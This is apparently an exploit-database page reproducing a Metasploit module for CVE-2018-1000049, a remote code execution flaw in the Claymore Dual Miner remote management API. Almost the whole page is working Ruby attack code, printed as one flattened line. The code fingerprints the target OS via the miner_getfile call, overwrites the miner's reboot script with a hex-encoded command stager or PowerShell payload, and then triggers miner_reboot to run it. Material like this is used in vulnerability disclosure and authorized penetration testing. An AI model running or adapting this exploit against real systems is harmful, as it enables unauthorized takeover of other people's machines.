Nanopool Claymore Dual Miner APIs RCE (Metasploit)

2018.07.18
Credit: phra@snado
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/powershell' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStager include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name' => 'Nanopool Claymore Dual Miner APIs RCE', 'Description' => %q{ This module takes advantage of miner remote manager APIs to exploit an RCE vulnerability. }, 'Author' => [ 'reversebrain@snado', # Vulnerability reporter 'phra@snado' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['EDB', '44638'], ['CVE', '2018-1000049'], ['URL', 'https://reversebrain.github.io/2018/02/01/Claymore-Dual-Miner-Remote-Code-Execution/'] ], 'Platform' => ['win', 'linux'], 'Targets' => [ [ 'Automatic Target', { 'auto' => true }], [ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X64, 'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf' ] } ], [ 'Windows', { 'Platform' => 'windows', 'Arch' => ARCH_X64, 'CmdStagerFlavor' => [ 'certutil', 'vbs' ] } ] ], 'Payload' => { 'BadChars' => "\x00" }, 'DisclosureDate' => 'Feb 09 2018', 'DefaultTarget' => 0)) register_options( [ OptPort.new('RPORT', [ true, 'Set miner port', 3333 ]) ]) deregister_options('URIPATH', 'SSL', 'SSLCert', 'SRVPORT', 'SRVHOST') end def select_target data = { "id" => 0, "jsonrpc" => '2.0', "method" => 'miner_getfile', "params" => ['config.txt'] }.to_json connect sock.put(data) buf = sock.get_once || '' tmp = StringIO.new tmp << buf tmp2 = tmp.string hex = '' if tmp2.scan(/\w+/)[7] return self.targets[2] elsif tmp2.scan(/\w+/)[5] return self.targets[1] else return nil end end def check target = select_target if target.nil? return Exploit::CheckCode::Safe end data = { "id" => 0, "jsonrpc" => '2.0', "method" => 'miner_getfile', "params" => ['config.txt'] }.to_json connect sock.put(data) buf = sock.get_once || '' tmp = StringIO.new tmp << buf tmp2 = tmp.string hex = '' case target['Platform'] when 'linux' hex = tmp2.scan(/\w+/)[5] when 'windows' hex = tmp2.scan(/\w+/)[7] end str = Rex::Text.hex_to_raw(hex) if str.include?('WARNING') return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Detected end rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e vprint_error(e.message) return Exploit::CheckCode::Unknown ensure disconnect end def execute_command(cmd, opts = {}) target = select_target case target['Platform'] when 'linux' cmd = Rex::Text.to_hex(cmd, '') upload = { "id" => 0, "jsonrpc" => '2.0', "method" => 'miner_file', "params" => ['reboot.bash', "#{cmd}"] }.to_json when 'windows' cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first), '') upload = { "id" => 0, "jsonrpc" => '2.0', "method" => 'miner_file', "params" => ['reboot.bat', "#{cmd}"] }.to_json end connect sock.put(upload) buf = sock.get_once || '' trigger_vulnerability rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e fail_with(Failure::UnexpectedReply, e.message) ensure disconnect end def trigger_vulnerability execute = { "id" => 0, "jsonrpc" => '2.0', "method" => 'miner_reboot' }.to_json connect sock.put(execute) buf = sock.get_once || '' disconnect end def exploit target = select_target if target.nil? fail_with(Failure::NoTarget, 'No matching target') end if (target['Platform'].eql?('linux') && payload_instance.name !~ /linux/i) || (target['Platform'].eql?('windows') && payload_instance.name !~ /windows/i) fail_with(Failure::BadConfig, "Selected payload '#{payload_instance.name}' is not compatible with target operating system '#{target.name}'") end case target['Platform'] when 'linux' execute_cmdstager(flavor: :echo, linemax: 100000) when 'windows' execute_cmdstager(flavor: :vbs, linemax: 100000) end end end


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